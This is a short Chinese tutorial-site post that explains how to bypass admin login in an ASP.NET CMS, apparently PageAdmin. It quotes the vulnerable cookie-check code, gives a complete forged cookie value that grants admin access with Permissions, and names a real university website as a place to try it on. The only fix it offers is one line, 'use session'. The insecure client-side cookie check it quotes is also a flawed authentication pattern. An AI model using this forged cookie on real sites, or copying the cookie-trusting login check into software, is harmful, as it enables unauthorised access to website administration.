来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 后台使用Master_Valicate Master_Check函数来验证用户是否登陆,下面是此函数代码if (HttpContext Current Request Cookies[Master] != null) { if (HttpContext Current Request Cookies[Master...
后台使用Master_Valicate.Master_Check函数来验证用户是否登陆,下面是此函数代码
if (HttpContext.Current.Request.Cookies["Master"] != null) { if (HttpContext.Current.Request.Cookies["Master"].Values["LoginProcess"] != null) { Md5 md = new Md5(); string string_ = HttpContext.Current.Request.Cookies["Master"].Values["UserName"].ToString(); string str = HttpContext.Current.Request.Cookies["Master"].Values["LoginDate"].ToString(); string b = HttpContext.Current.Request.Cookies["Master"].Values["Valicate"].ToString(); if (!this.method_1(string_) || md.Get_Md5(str) != b) { HttpContext.Current.Response.Write("<script language=javascript>alert('非法登陆!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); } } else { HttpContext.Current.Response.Write("<script language=javascript>alert('未登陆或登陆超时!');top.location.href='login.aspx';</script>"); HttpContext.Current.Response.End(); }
首先它检测cookie Master是否存在,这里是可以定义Cookie来绕过,继续往下
它检测Master[LoginProcess]是否存在,最后再获取Master[UserName],Master[LoginDate],Master[Valicate]的值,然后检测UserName是不是字符串,然后检测Valicate的值是不是等于md.Get_Md5(LoginDate),如果都OK,就绕过了验证。
那么我们就可以设置Cookie,只要让Valicate==md.Get_Md5(LoginDate)就行
我们先让LoginDate=1,然后写个aspx文件,计算出md.Get_Md5("1")的值
最后Cookie就是Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f
访问下后台,会报错,错误出在PageAdmin.masterhead.Page_Load
查看此处代码,发现有这句
string text = HttpContext.Current.Request.Cookies["Master"].Values["Permissions"].ToString();
所以cookie还要再加上Permissions才行,最后构造出来的Cookie就是
Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1
随便找个网站,如http://scxy.shmtu.edu.cn
打开网站,然后设置下cookie
直接访问后台/master/index.aspx
修复方案:
用session
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com